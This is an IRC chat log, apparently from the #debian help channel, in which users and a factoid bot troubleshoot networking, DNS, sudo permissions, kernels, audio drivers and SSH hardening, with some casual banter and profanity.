| 18:35.33 | kibibyte | ?? |
| 18:36.08 | hoxu | kibibyte, try -o TCPKeepAlive=yes ? |
| 18:36.25 | kibibyte | ok:d |
| 18:36.35 | kibibyte | sorry im stupid |
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| 18:38.06 | hoxu | kibibyte, you might want to look at "man ssh_config" if you need to repeatedly use the same username/options/etc for remote servers |
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| 18:38.47 | kibibyte | ok |
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| 18:47.13 | Rascal999 | I've changed the hostname of the box but I can only ping using old hostname, what do I need to do? |
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| 18:49.56 | karlpinc | Rascal999 : Change the hostname in dns? |
| 18:50.32 | Rascal999 | I'm using a netgear switch/router/net access/toaster thing, I can't change dns |
| 18:50.51 | Rascal999 | I've changed /etc/hostname and hostname <new name> |
| 18:51.04 | Rascal999 | but ping fails |
| 18:51.36 | Element14 | /etc/hosts |
| 18:53.17 | Rascal999 | oh |
| 18:53.21 | Rascal999 | new situation |
| 18:54.15 | Rascal999 | does dns require broadcast? |
| 18:54.18 | Rascal999 | a dns server |
| 18:54.44 | Element14 | what do you mean broadcast? |
| 18:55.00 | Rascal999 | well, i have machines connected to a router |
| 18:55.05 | Rascal999 | so ping 255.255.255.255 doesn't work |
| 18:55.24 | Rascal999 | I want to install a dns server, but I'm wondering if it'll work under such circumstances |
| 18:56.04 | Element14 | a dns server doesn't require broadcast if i'm not mistaken... but then i don't really have much experience with that |
| 18:56.30 | Rascal999 | know any dns servers? |
| 18:56.48 | Rascal999 | I've searched (apt-cache search) and found NOTHING |
| 18:56.55 | hoxu | bind |
| 18:57.11 | Rascal999 | thanks |
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| 18:57.36 | stew | Rascal999: bind9 or dnsmasq are probably the most popular |
| 18:58.30 | starnull | i cant kill a process. i tried kill, killall , kill -9 and it just wont die. anything else i can do? |
| 18:58.38 | Element14 | try sending it sigcont |
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| 18:59.08 | starnull | nothing |
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| 19:00.34 | Rascal999 | (101 Network is unreachable) apt-get |
| 19:00.39 | Rascal999 | I've screwed something up |
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| 19:07.22 | Rascal999 | I gotta serious problem now |
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| 19:07.44 | kibibyte | <kibibyte> Starting instalation with install log file: /export/home/bartos/openglass/setup/logs/install.log |
| 19:07.44 | kibibyte | <kibibyte> ./install.sh: line 66: JAVA_HOME: unbound variable |
| 19:07.44 | kibibyte | <kibibyte> -bash-3.00$ echo $JAVA_HOME |
| 19:07.44 | kibibyte | <kibibyte> why it doesnt recognize my java_home env variable |
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| 19:12.35 | kibibyte | why it doesnt see it |
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| 19:22.01 | [biabia] | enouf around? |
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| 19:23.27 | [biabia] | to fix my X resolution i did: dpkg-reconfigure xservice.xorg and now my wired network says its connected but it isnt working |
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| 19:23.44 | [biabia] | although the resolution is fine now |
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| 19:24.44 | Aggro | [biabia]: What does ifconfig say? |
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| 19:25.41 | FoobarWidget | I'm building a .deb package. does debian have a tool that can automatically fill in the 'Depends:' field for me? |
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| 19:27.49 | Aggro | FoobarWidget: http://www.debian.org/doc/maint-guide/ch-dreq.en.html#s-control |
| 19:28.03 | [biabia] | Aggro, im not sure what to look for in ifconfig |
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| 19:29.10 | [biabia] | it doesnt seem to be inactive but theres no connection for browsing, irc, updating |
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| 19:30.34 | Aggro | [biabia]: http://channels.debian.net/paste |
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| 19:30.50 | Aggro | [biabia]: and post the link here |
| 19:31.05 | [biabia] | whats the command redetect hardware |
| 19:31.07 | [biabia] | ok |
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| 19:31.29 | endschranz | hi, can anyone tell me somthing about the samba/ftp/nfs perfomance of a nslu2 with lenny armeb? |
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| 19:31.37 | [biabia] | i cant paste it to there because that machine wont connect |
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| 19:32.25 | [biabia] | if you tell me the relevant info you need to know from ifconfig i'll write it down |
| 19:32.50 | Aggro | [biabia]: This is an example of what it perhaps should look like: http://paste.debian.net/23239/ |
| 19:33.00 | Aggro | [biabia]: Do you have lo and eth0 there? |
| 19:33.21 | Aggro | [biabia]: Does eth0 have inet addr? If so, what is it? |
| 19:33.25 | [biabia] | yes eth0 eth1 and lo |
| 19:33.51 | Aggro | [biabia]: You have two network adapters? Are you using both? |
| 19:34.02 | [biabia] | no, not using the wireless |
| 19:34.07 | [biabia] | but yes 2 adapters |
| 19:34.18 | Aggro | [biabia]: Do you know which is the wireless? |
| 19:35.39 | abrotman | [biabia]: which kernel are you on .. uname -a |
| 19:37.26 | [biabia] | 2.6.18-6-k7 |
| 19:37.26 | Aggro | [biabia]: You could also try with root privileges: /etc/init.d/network restart |
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| 19:38.08 | [biabia] | and wired is eth1 inet: 169.254.37.153 |
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| 19:39.17 | Aggro | [biabia]: Ok, so you don't have proper ip, are you supposed to get it from dhcp server? |
| 19:40.28 | karsten | Is checkinstall part of the debian package build process or a third-party tool, or something else? |
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| 19:42.38 | [biabia] | yes dhcp, and on network restart, it showed no network offers received |
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| 19:42.49 | [biabia] | and showed nothing for eth1 |
| 19:43.11 | [biabia] | no dhcp offers i mean |
| 19:43.57 | [biabia] | the networking worked before i did dpkg-reconfigure xserver.xorg |
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| 19:44.17 | Aggro | [biabia]: Is your network cable connected? |
| 19:44.25 | [biabia] | yes |
| 19:45.04 | [biabia] | at both ends |
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| 19:47.08 | Aggro | [biabia]: [biabia] What is acting as a dhcp server? |
| 19:47.27 | julian | i run Iceweasel 3.0.4-1 on Debian Lenny and consistently experience 95-130% CPU on my 2.4GHz Core Duo laptop, sometimes with just a few tabs open. is this anyone elses experience? does this high CPU load have anything to do with libflashplayer.so performance? |
| 19:47.40 | karsten | What's the new chanserv, again? |
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| 19:48.11 | karsten | aris or something like? |
| 19:48.57 | [biabia] | aggro: my modem which is also a wired/wireless router |
| 19:49.10 | stew | karsten: there is still chanserv, but also alis |
| 19:49.34 | Aggro | [biabia]: Have you tried rebooting it? I'm starting to run out of ideas ;) |
| 19:49.44 | stew | julian: are you swapping? (iceweasel is expected to take hundreds of megabytes of ram) (/msg dpkg am i swapping) |
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| 19:50.00 | [biabia] | ill try that |
| 19:50.06 | [biabia] | thanks |
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| 19:50.51 | julian | stew: yeah i am swapping |
| 19:51.54 | karsten | stew: chanserv doesn't answer 'list' commands. |
| 19:51.59 | karsten | stew: Are you a DD? |
| 19:52.04 | stew | karsten: yes, use alis |
| 19:52.05 | stew | karsten: yes |
| 19:52.43 | karsten | stew: Prior question. Is checkinstall part of the deb-building process, or a hack for managing third-party SW? |
| 19:53.23 | simonrvn | hack |
| 19:53.31 | stew | karsten: its a 3rd party hack. its not something that would be used to build a deb in the archive |
| 19:53.45 | karsten | stew: OK, that was my read. |
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| 19:59.59 | nextime | hello, anyone using splashy in initramfs on sid |
| 20:00.00 | nextime | ? |
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| 20:03.43 | abrotman | !polls |
| 20:03.44 | dpkg | "Does anyone have X or use Y?" is taking a poll, not asking a valid question. Don't do it or sussudio's army of militant badgers will hurt you. Also see <ask> and <bad polls> |
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| 20:12.04 | dkagi | hi |
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| 20:15.02 | LoveGuru | Hello, i mtrying to install "debian" but installation stuck at 91% " Installing the kernel = retrieving and installating linux-image-2.6-i686 " |
| 20:16.25 | stew | LoveGuru: perhaps generating the initrd is taking a long time? |
| 20:16.53 | Element14 | maybe also download time, that package is not small IIRC |
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| 20:19.12 | kingsley | What are some good ways to provide the correct interface's IP address to incoming DNS queries to translate the local system's name to an IP address? |
| 20:19.26 | shamrock | how do I stop applications restarting on logon? I must have selected "save applications" at some stage when logging out but cant see where to cancel them. Gnome. |
| 20:19.33 | Scix | I'm getting "command not found" error when i run my debmirror.sh file http://paste.ubuntu.com/82978/ |
| 20:19.38 | Scix | Any idea? |
| 20:19.39 | kingsley | At the moment, it seems to me that the easiest way for my small private network would be to hard code it in the /etc/hosts file of computers that would otherwise use DNS. |
| 20:20.23 | kingsley | Scix: Yes. I suggest inserting the "set -xv" command at the top of the script to reveal which command isn't being found. |
| 20:20.40 | stew | karsten: /etc/hosts isn't used to answer DNS queries. what exactly are you trying to do? |
| 20:21.33 | adb | <PROTECTED> |
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| 20:22.53 | hersoy | adb: #ununtu ? |
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| 20:23.27 | badcloud_ | ubuntu |
| 20:23.27 | kingsley | stew: Yes, I agree that /etc/hosts won't resolve DNS queries by itself. However, I'm considering using it to tell a computer which IP address to use to access a neighboring computer which has more than one IP address and interface, only one of which is associated with a working route. |
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| 20:24.26 | Scix | kingsley: no change. same error. I added set -xv at the first line after #!/bin/bash line |
| 20:24.38 | kingsley | stew: However, if the conventional wisdom is that there's another, better way to provide the right IP address for a box with more than one, I'd love to see it. |
| 20:25.15 | Scix | I take adb's tip, and leaving for ubuntu :) |
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| 20:26.17 | kingsley | Scix: OK, that's a good start. But please read this carefully, "set -xv" won't fix the bug, it should simply cause the script to echo each line it tries to execute. Then you can see which line it tried to execute just before it got the error. |
| 20:27.27 | stew | kingsley: bind9 would let you do 'views' where queries coming in on one interface sees one set of zone files, and queries coming on a different interface sees a different set of zone files |
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| 20:28.23 | stew | kingsley: which i've used to do things like have machines on one side of a firewall get the private ips and queries coming from the public side of a firewall be answered with public ips |
| 20:29.38 | DogBoy | wouldn't that be what it would be for? |
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| 20:32.02 | kingsley | stew: bind seems doable, and I'm glad it worked for you. It seems to me that in my case, editing the neighbor's /etc/hosts file would be easier. My only concern is that I don't know whether the neighboring computer could be relied on to always use the IP address in /etc/hosts before a DNS query that'd return the wrong IP address. |
| 20:32.04 | SJr|Work | For some reason from Linux, I can't execute this script: http://pastebin.com/m5cbc211d, the same permission structure on the same mount seem to work From Solaris |
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| 20:32.50 | stew | kingsley: the 'hosts' entry in /etc/nsswitch.conf defines the order that things are consulted |
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| 20:33.59 | stew | SJr|Work: that is often caused by the first line being terminated with \r\n instead of \n, causing the kernel to look for /bin/sh\r |
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| 20:36.32 | kingsley | stew: Sweet. Thank you. |
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| 20:40.07 | zigovr3 | hi all, has anyone ever experienced klogd taking all the CPU, but no kernel message and nothing is being written in /var/log to explain it ? |
| 20:40.15 | dff_ | can you use apt-get to install and aptitude to remove? |
| 20:40.27 | dff_ | or does it piss somehting off |
| 20:40.29 | zigovr3 | this happens to me often after resuming from suspend |
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| 20:43.05 | twobitsprite | hey... can someone recommend a DRM-free portable MP3 player that works with linux? |
| 20:43.13 | abrotman | google |
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| 20:43.22 | twobitsprite | (I know, a bit off topic, but no one is talking :) |
| 20:43.36 | twobitsprite | abrotman: I've been googling... any google-fu tips? |
| 20:43.50 | zigovr3 | twobitsprite: any player that is also a usb disk |
| 20:44.07 | abrotman | twobitsprite: gizmodo ? |
| 20:44.29 | twobitsprite | abrotman: ohh, that's useful... I'll check that out, thanks |
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| 20:45.38 | kantor | hi |
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| 20:46.07 | kantor | what file should I change, configurations should I make if I migrate my Debian OS from a hda (ATA) to a sda (SATA) partition/drive ? |
| 20:46.11 | kantor | is enough if I change the fstab ? |
| 20:47.30 | stew | twobitsprite: rockbox is opensource replacement firmware which will work on a lot of hardware mp3 players, take a look at what they support |
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| 20:49.40 | afrosheen | quick question, I'm trying to set sudo perms on a script but it's user-dependent, how can I reference the script in visudo? |
| 20:50.23 | afrosheen | i.e. in visudo I can't use something like %group ALL = $HOME/script.sh |
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| 20:52.34 | stew | afrosheen: that won't work, and if it did, you'd really not want to do that |
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| 20:53.03 | stew | afrosheen: what does the script do? |
| 20:53.15 | afrosheen | stew, well my problem is, I have a dozen users that need to execute build scripts as root, and there are like 5 in different spots in each user's home |
| 20:53.45 | stew | afrosheen: why do they need to run the build scripts as root? |
| 20:53.56 | afrosheen | they're building filesystems for another device |
| 20:54.43 | stew | afrosheen: can you use fakeroot instead? |
| 20:55.03 | stew | afrosheen: are the users able to edit the build scripts? |
| 20:55.26 | afrosheen | nope, we've tried fakeroot already |
| 20:55.34 | stew | afrosheen: why won't fakeroot work? |
| 20:55.58 | afrosheen | I didn't dig too deep into it, we've got these build chain tools from a partner company and we can't dick with them too much |
| 20:56.42 | afrosheen | their environment is crazy, they have every single dev with a copy of vmware workstation running a single instance of linux on everybody's desk, so they said "root builds, why not" |
| 20:57.11 | klync | afrosheen: if you can make the device group-writeable would your users be able to run the build without root access? |
| 20:57.27 | stew | afrosheen: are the users able to edit the build scripts or any scripts called by the build scripts? |
| 20:57.41 | afrosheen | I'm pretty sure the users can edit the build scripts |
| 20:57.58 | afrosheen | the tools are owned 100% by each user that installs them, in their own $home |
| 20:58.31 | stew | afrosheen: then realize that by giving the user rights to execute a script as root, which they also have the ability to edit gives them the ability to run any comand they wish as root, including editing /etc/sudoers to give them root access to any other comand |
| 20:59.22 | afrosheen | yeah I realize that, so basically you're saying it's a security hole from hell...and if I'm doing this for them, I might as well just give them ALL =(ALL) access |
| 20:59.47 | afrosheen | I was hoping there was a win here :( |
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| 21:04.24 | Schiz0|SD | Hey. I'd like to use lighttpd. The version in etch is 4.1.13, and the version in backports.org is 4.1.19. The latest version is 4.1.20, which has a bunc hof security patches. How can I figure out if the versions in etch and/or backports have those security patches applied or not? |
| 21:04.29 | Schiz0|SD | I don't wanna use a unsecure versiou, of course |
| 21:04.58 | stew | Schiz0|SD: do you know the mitre ids for the vulnerabilities? |
| 21:05.07 | Guerin | Schiz0|SD: the etch version will have had security updates backported into it. |
| 21:05.40 | Schiz0|SD | I dunno what the mitre IDs are, heh |
| 21:05.40 | Qew | bah, kantor left... and I was just going to send a solution for him. Oh well... |
| 21:05.57 | Schiz0|SD | Guerin: Ok...thanks. Is there a page on the debian website that gives updates for this stuff? |
| 21:06.04 | Guerin | Schiz0|SD: security.debian.org |
| 21:06.16 | Schiz0|SD | oh, heh. Thanks. |
| 21:06.17 | stew | Schiz0|SD: they usually start with CVE, it is a way we could point you to a database which says whether or not the debian packages are vulnerable |
| 21:06.23 | Guerin | Schiz0|SD: note that you need to have security updates in sources |
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| 21:06.42 | stew | not for lighttpd |
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| 21:06.51 | stew | (but its a good idea, in general, of course) |
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| 21:07.06 | Schiz0|SD | Guerin: Yeah, I do |
| 21:07.17 | Guerin | goodgood |
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| 21:08.27 | Schiz0|SD | ok, I found them on the vurneribilities list...so they are patched in etch. Thanks a lot :D |
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| 21:08.42 | Schiz0|SD | I was considering compiling it from source, but I didn't like doing that |
| 21:08.47 | adama_ | is it legal to take videos from youtube/facebook/etc. and re-broadcast them on e.g. a public terminal? |
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| 21:09.10 | Schiz0|SD | adama_: facebook already has in the terms of service that they sell/distribute any pictures uploaded, heh |
| 21:09.14 | Schiz0|SD | that's why I don't use it |
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| 21:09.45 | lvh_ | hello |
| 21:09.54 | adama_ | I know, I was wondering if that means I can take those pictures at will and redistribute them, I can't find anything saying i can't |
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| 21:10.09 | lvh_ | Does anyone know exactly what debian kernels (I know some patches are backported) destroy the Intel e1000 LM4 controller's firmware? |
| 21:10.16 | stew | adama_: ask the content owner |
| 21:10.22 | Guerin | adama_: generally, unless you have been explicitly granted leave to do so, you have no rights at all |
| 21:10.29 | lvh_ | Is there any chance of this happening with a new etch debian-installer image, or have all of these images been purged out of the repositories? |
| 21:10.35 | Guerin | (except under Fair Use or similar where applicable) |
| 21:11.01 | lvh_ | I'm not particularly interested in sending a shiny new $3k thinkpad in for repairs |
| 21:11.03 | adama_ | hmm, OK, thanks! |
| 21:11.26 | adama_ | sorry for the off-topic, just happened to have this window open and needed an opinion or 2 :) |
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| 21:15.07 | anddam | hello |
| 21:15.42 | anddam | how can I check if my swap partition is healthy? |
| 21:16.52 | anddam | splitty |
| 21:16.52 | asg | anddam: define 'healthy'? What makes you think it isn't? |
| 21:17.04 | anddam | asg: http://tldp.org/HOWTO/Linux+FreeBSD-3.html |
| 21:17.05 | anddam | this |
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| 21:17.43 | anddam | I just installed fbsd and still didn't put any mkswap at boot time, but I can't see any complaint from debian |
| 21:17.43 | lostson | whoa netsplit |
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| 21:18.21 | anddam | indeed |
| 21:18.25 | anddam | and netjoin |
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| 21:19.26 | asg | anddam: does 'free' show swap usage? If so, it's healthy. If not, run a bunch of programs until it does swap and verify in /var/log/syslog that there aren't odd errors. |
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| 21:19.57 | anddam | it does, actually I checked /proc/swaps as I forgot about the 'free' command |
| 21:20.02 | ilyak_ | What's the official kernel for lenny? |
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| 21:20.21 | anddam | latest is 2.6.26 I think |
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| 21:21.22 | Guerin | !info linux-image-2.6 lenny |
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| 21:21.34 | ilyak_ | Then, two questions: |
| 21:21.38 | asg | Guerin: congrats on Guerin++ btw |
| 21:21.44 | ilyak_ | 1) Why doesn't ndiswrapper work in 2.6.26? |
| 21:21.54 | ilyak_ | 2) Why doesn't BACKSPACE work in 2.6.26? |
| 21:22.00 | Guerin | ilyak_: 1) because it's crap frankensteinware |
| 21:22.02 | TheKnight | why my own pointer theme is visible only before my window manager starts? |
| 21:22.11 | Guerin | 2) because your shit isn't set up right |
| 21:22.14 | anddam | ilyak_: backspace not working? |
| 21:22.26 | Guerin | asg: thankee sah! |
| 21:22.29 | anddam | ilyak_: how do you check it? |
| 21:22.43 | ilyak_ | anddam: yeah, it outputs some bizarre characters into command line |
| 21:22.53 | anddam | ilyak_: so it works but not as expected |
| 21:22.54 | ilyak_ | instead of working as backspace (zsh) |
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| 21:24.01 | Guerin | asg: young Dawn is a dear and wonderful little thing; she's easy-going and sleeps well and has one of everything she should have one of and two of everything she should have two of :) |
| 21:24.01 | ilyak_ | I assume 'works but not as expected' == 'doesn't work' |
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| 21:24.01 | Guerin | ilyak_: i blame zsh. But since I don't use it I can't tell you what the issue is :) |
| 21:24.01 | ilyak_ | So, is it really fixable? I really really want my ndiswrapper |
| 21:24.02 | asg | Guerin: hah, cool |
| 21:24.14 | TheKnight | why my own pointer theme is visible only before my window manager starts? |
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| 21:24.37 | Guerin | TheKnight: because you haven't got your wm and pointer config done properly. |
| 21:25.21 | anddam | Guerin: Sportivo? |
| 21:25.32 | Guerin | anddam: ? |
| 21:25.47 | anddam | Guerin: can you read italian? |
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| 21:25.52 | Guerin | ilyak_: gods, why? ndiscrapper is horrible. |
| 21:25.59 | Guerin | anddam: nope. |
| 21:26.01 | anddam | Guerin: spanish? |
| 21:26.08 | Guerin | (well, I can read it - just not understand it) |
| 21:26.14 | Guerin | anddam: nope. |
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| 21:26.32 | anddam | I'm out of luck then, only wikipedia it. and es. |
| 21:26.45 | anddam | Guerin Sportivo is a newspaper |
| 21:26.46 | TheKnight | Guerin, how to fix? |
| 21:26.51 | Guerin | TheKnight: dunno. |
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| 21:26.59 | anddam | Guerin: well there's wikipedia catalan page too ... |
| 21:27.17 | anddam | but I doubt that will help much.. |
| 21:27.26 | ilyak_ | Guerin: Well, it worked just fine |
| 21:27.37 | ilyak_ | Before they stepped forward and broke it |
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| 21:27.45 | anddam | to run a command before swap is mounted I should create a script and put it before checkroot.sh in rcS.d, right? |
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| 21:28.02 | ilyak_ | also, it hands (D) when tries to load and use fglrx driver |
| 21:28.09 | anddam | and it has to be start|stop|restart compliant, hasn't it? |
| 21:28.23 | anddam | ilyak_: what NIC? |
| 21:28.58 | ilyak_ | anddam: mrv8335a |
| 21:29.05 | ilyak_ | it's a horrible crap |
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| 21:29.29 | ilyak_ | but it worked perfectly stable |
| 21:29.29 | anddam | ilyak_: well the name seems to suggest it |
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| 21:29.30 | ilyak_ | and now it wouldn't set up wpa |
| 21:29.33 | Guerin | anddam: yeah, or if it's trivial enough (no checking or anything necessary) you can just put it in bootmisc. But if you want a proper config script use /etc/init.d/skeleton |
| 21:29.37 | Guerin | (as a base) |
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| 21:31.35 | anddam | Guerin: it's a oneliner |
| 21:31.47 | anddam | I'll checkbootmisc |
| 21:31.51 | anddam | check bootmisc |
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| 21:32.41 | anddam | Guerin: not applicable, bootmisc is S55 |
| 21:32.46 | anddam | checkroot is S10 |
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| 21:32.53 | Guerin | right, that's sometimes an issue |
| 21:33.13 | anddam | I'll create a dumbass script and put it as S09 |
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| 21:33.43 | stoned | yay |
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| 21:33.56 | stoned | I just wrote an ebay category # extractor |
| 21:34.00 | stoned | I wonder how much I Can sell it for |
| 21:34.04 | stoned | oh damn |
| 21:34.05 | stoned | this aint c# |
| 21:34.15 | anddam | it isn't |
| 21:34.15 | stoned | man what the fuc! why are my window # |
| 21:34.17 | stoned | s chaingng |
| 21:34.18 | stoned | asdkl;jfl;asjdfl;kaj |
| 21:34.19 | stoned | fuck. |
| 21:34.34 | Guerin | !enter |
| 21:34.34 | dpkg | The enter key is not a substitute for punctuation. Hitting enter unnecessarily makes it difficult to follow what you are saying. Consider using ',', '. ', ';', '...', '---', or ':' instead. If you hit enter too often, you will be autokicked by debhelper for flooding the channel. |
| 21:34.45 | stoned | !smack Guerin |
| 21:34.45 | dpkg | smacks Guerin upside the head. |
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| 21:34.59 | stoned | stop that! |
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| 21:37.41 | abrotman | but you don't have to stop? |
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| 21:39.14 | jimpy | hi, ive just installed the drbd0.7-utils package and it appears to have come without the kernel module :\ |
| 21:39.50 | asg | jimpy: use module-assistant to build it |
| 21:40.07 | jimpy | and theres the missing link :) |
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| 21:40.13 | phix | hi |
| 21:40.13 | jimpy | thanks asg |
| 21:40.51 | phix | I can't get Audio device: ATI Technologies Inc HD48x0 audio working under Debian or Ubuntu |
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| 21:42.29 | stoned | just stfu. |
| 21:42.49 | stoned | I wonder why irssi isn't saving anything on /save or /save layout |
| 21:43.08 | anddam | time to check yaboot |
| 21:43.16 | stoned | this happened to me last week as well, window # got switched around when I restarted the client |
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| 21:45.43 | ilyak_ | In .26, neither fglrx nor ndiswrapper nor backspace work, heh |
| 21:46.07 | ilyak_ | It's pretty unusual level of suckage for debian testing, really |
| 21:46.33 | dotCOMmie | compile your own kernel and stop complaining |
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| 21:47.59 | phix | stoned: are you talking to me ? |
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| 21:48.06 | Azrail | lol |
| 21:48.28 | stoned | He who it was addressed to knows... |
| 21:48.30 | ilyak_ | dotCOMmie: Is it gentoo suddently? |
| 21:48.34 | phix | so what drivers / modules does it use? |
| 21:48.43 | phix | 'I cant find this any where |
| 21:48.43 | stoned | I must get back to my coding... I'll figure out this irssi bullshit later |
| 21:48.57 | stew | stoned: please keep it on-topic |
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| 21:49.13 | stoned | stew, my irssi won't save settings on /save |
| 21:49.16 | phix | alsamixer |
| 21:49.16 | stew | stoned: if you are having trouble with irssi, #irssi |
| 21:49.16 | phix | No mixer elems found |
| 21:49.17 | stoned | stew, help |
| 21:49.42 | phix | although the gnome sound thingy picks it up but I only have a volume control for OSS |
| 21:49.51 | phix | but I have no /dev/dsp :/ |
| 21:49.54 | stoned | stew, it started to happen last week, I think when I did my upgrade |
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| 21:50.01 | phix | any ideas?/ |
| 21:50.10 | stoned | stew, perhaps its not related to #irssi but #debian as a package bug |
| 21:50.25 | stoned | stew, I don't know enough yet. |
| 21:50.50 | stew | phix: have you tried running alsaconf? |
| 21:51.29 | stoned | stew, as I said, I am going now, I'll figure out this later. Perhaps it is a bug, perhaps its already been found, I dunno yet. Thanks for the tip. |
| 21:52.02 | phix | stew: no |
| 21:52.24 | phix | stew: where is that? |
| 21:52.47 | stew | phix: in the alsa-utils package |
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| 21:53.47 | phix | stew: hmmm, what do I do if I dont have that ? |
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| 21:54.41 | stew | phix: you'd have to run it as root |
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| 21:54.51 | slak | hi anuone use keepalived |
| 21:54.51 | slak | ? |
| 21:54.56 | stew | phix: you probably have it in /usr/sbin which isn't in your regular user's $PATH |
| 21:55.03 | phix | stew: I am root |
| 21:55.12 | stew | phix: install the alsa-utils package |
| 21:55.17 | phix | stew: it is |
| 21:55.37 | phix | stew: hmmm, although this is a Ubuntu Box :\ |
| 21:55.39 | stew | phix: what does "apt-cache policy alsa-utils" say for "Installed:"? |
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| 21:55.48 | stew | phix: oh, please go to #ubuntu for help with ubuntu |
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| 21:55.56 | phix | stew: yeah that will be a problem |
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| 21:56.32 | phix | I am still banned for some reason :/ |
| 21:56.55 | stew | phix: sorry. you should talk the op that banned you, or ask in #ubuntu-ops. its not something we could help you with |
| 21:57.06 | phix | ok |
| 21:57.08 | phix | thnx any way |
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| 22:05.54 | kingsley | s/node/computer/ |
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| 22:07.40 | keith4 | any downside to installing the bigmem kernel? |
| 22:08.31 | abrotman | yes |
| 22:08.32 | enouf | keith4: not needed if less than 4GB ram .. it's a bit slower i guess due to another layer (PAE) |
| 22:09.02 | keith4 | right. so, given that I have 4G of ram.. is the potential performance hit worth it, for that extra 500M of memory? |
| 22:10.19 | abrotman | depends how much RAM you will actually use (vs swap) |
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| 22:12.07 | keith4 | well, with 2G, i was regularly digging into swap |
| 22:12.09 | Azrail | virtual box... or vmware..??? |
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| 22:12.40 | keith4 | so, having 3.5G might alleviate the problem. but more is always better, i suppose |
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| 22:13.23 | DanDare | Hello. Installing a new PCI card procedure a more generic view... First I read H/W signature by doing 'lspci', and after? I always need to bind the new card to a /dev/ "device" manually and make by someway a driver being loaded when card plugged? Its this? |
| 22:14.19 | DanDare | or when i install the driver it automatically create de /dev/ binds ? What are the generic common steps to install new card ? |
| 22:15.31 | keith4 | udev should take care of most, if not all, of that |
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| 22:17.09 | xota | hi! anybody knows why sbackup isn't manteined in debian lenny? |
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| 22:19.08 | Guerin | xota: lack of demands means lack of supply. |
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| 22:22.14 | abrotman | or the cost is too high! |
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| 22:24.13 | bughunter2 | hello, can anybody tell me which package exactly provides GL/gl.h? i thought of anything with mesa-dev in the name, but can't find it |
| 22:24.48 | abrotman | !tell bughunter2 about search |
| 22:25.07 | bughunter2 | abrotman: you see, this is the problem, i do not yet have the file |
| 22:25.11 | bughunter2 | otherwise i'd of course use dpkg -S |
| 22:25.18 | unop | bughunter2, http://packages.debian.org/search?section=all&arch=any&searchon=contents&keywords=gl.h |
| 22:25.20 | keith4 | facepalms |
| 22:25.29 | bughunter2 | what's up? |
| 22:25.30 | bughunter2 | what's on your mind keith |
| 22:25.34 | bughunter2 | keith4 |
| 22:25.52 | keith4 | out of that entire factoid from dpkg, about searching... all you picked out was "dpkg -S"? |
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| 22:26.12 | bughunter2 | keith4: no i just immediately thought it was about dpkg -S and didn't look at it (yet) |
| 22:26.19 | unop | silly |
| 22:26.24 | bughunter2 | that's not silly |
| 22:26.32 | keith4 | he's being polite |
| 22:26.40 | bughunter2 | and you're being an ass |
| 22:26.42 | kouwe | upgrading my cpu (Intel(R) Pentium(R) Dual CPU E2160 @ 1.80GHz) to core2duo... would it give any problem ? like reinstall debian... |
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| 22:26.52 | maligor | kouwe, no |
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| 22:26.59 | unop | bughunter2, just read the thing :) we've given you help :) |
| 22:27.00 | bughunter2 | see, on IRC people like throwing things at people and don't care about their feelings |
| 22:27.10 | bughunter2 | that's why i got used to it, and that's why i initially ignored the dpkg message |
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| 22:27.13 | bughunter2 | so, sorry for that |
| 22:27.13 | bughunter2 | but hey, it's how it goes |
| 22:27.16 | smacnay | abrotman: well, I got vbox working only by using m-a to build the module from source. |
| 22:27.19 | Guerin | bughunter2: and that was your first mistake |
| 22:27.23 | bughunter2 | Guerin: yep |
| 22:27.26 | bughunter2 | i know that , thanks ;) |
| 22:27.27 | bughunter2 | :P |
| 22:27.29 | maligor | kouwe, you shouldn't see any change if all the rest stay the same |
| 22:27.30 | Guerin | ignoring dpkg earns you much-deserved ridicule |
| 22:27.35 | bughunter2 | :P |
| 22:27.43 | Guerin | he holds the distilled wisdom of #d, past and present |
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| 22:27.56 | maligor | kouwe, if you switch the motherboard the device numbering will get shuffled a bit |
| 22:27.59 | keith4 | you asked for information, and didn't read the answer that someone put in front of you... and I'm the ass? |
| 22:28.16 | kouwe | maligor, but i dont need to reinstall my debian installation? |
| 22:28.18 | Guerin | !irritate keith4 |
| 22:28.19 | dpkg | keith4: hi every1 where cn I get w4arez 4 debina lol U FUX0RZ |
| 22:28.32 | keith4 | heh |
| 22:28.33 | kouwe | maligor, i only upgrade my processor |
| 22:28.37 | bughunter2 | keith4: yes, but not for the reason of me ignoring dpkg's message |
| 22:28.40 | bughunter2 | thank you very much |
| 22:28.45 | Guerin | kouwe: should Just Work |
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| 22:29.05 | simonrvn | keith4: you know how it feels like now. i get that too often :(. |
| 22:29.35 | keith4 | don't get me wrong... i *am* an ass. but he certainly doesn't have enough evidence to make that judgement (yet) |
| 22:29.42 | keith4 | \quit new kernel |
| 22:30.01 | keith4 | wtf? who broke my xchat macro? |
| 22:30.20 | simonrvn | someone windowsified it ;p |
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| 22:36.02 | keith4 | what else do I have to do, in addition to running a -bigmem kernel, to get that last bit of RAM to show up? |
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| 22:43.21 | DanDare | I dont have a modprobe.conf file on any place of debian etch. It´s normal? |
| 22:44.03 | simonrvn | yes |
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| 22:44.20 | DanDare | ok |
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| 23:02.46 | Roadrunne | hi all. Which command can I use to parse a csv file containing URLs? I need to filter out the domain names in the URLs. |
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| 23:04.19 | syslq | Is it a good idea to change port sshd listens on to something obscure 33202 or something? |
| 23:04.58 | kunwon1 | it's not a bad idea |
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| 23:05.06 | Tramp | syslq: it doesn't hurt and will mitigate some automated attacks. I'd use a low port however |
| 23:05.22 | syslq | I ma being heavly bruteforced |
| 23:05.44 | syslq | I am being bruteforced every few hours :) |
| 23:05.57 | syslq | I do use key + pharaphrase authentification |
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| 23:06.52 | kunwon1 | syslq, also there's denyhosts |
| 23:06.55 | kunwon1 | !denyhosts |
| 23:06.55 | dpkg | it has been said that denyhosts is a python script that analyzes the sshd logs to find possible break-in attempts. It keeps track of the frequency of attempts from each host. Additionally, upon discovering a repeated attack host, the /etc/hosts.deny file is updated to prevent future break-in attempts from that host. An email report can be sent to a system email address. See also <fail2ban><iptables ssh filter>. |
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| 23:07.41 | syslq | kunwon1: I'm just setting it up, but I use keys, so basically key based auth + obscure port + denyhost should make me pritty much secure |
| 23:07.46 | kunwon1 | syslq, if you only allow key based login you're probably safe, but changing the port or using denyhosts will clean up your logs |
| 23:07.51 | syslq | kunwon1: I have my naked pictures on this comp :) |
| 23:08.05 | kunwon1 | syslq, now I have to bruteforce you too, sorry |
| 23:08.36 | asg | syslq: you could always look at fwknop (cipherdyne.org) to take care of that issue easily |
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| 23:09.55 | Joelito | hi all, question about deb package manager in "testing"... |
| 23:10.05 | kunwon1 | syslq, there's that, but fwknop needs client software and not just server software, and it's only in the sid repos |
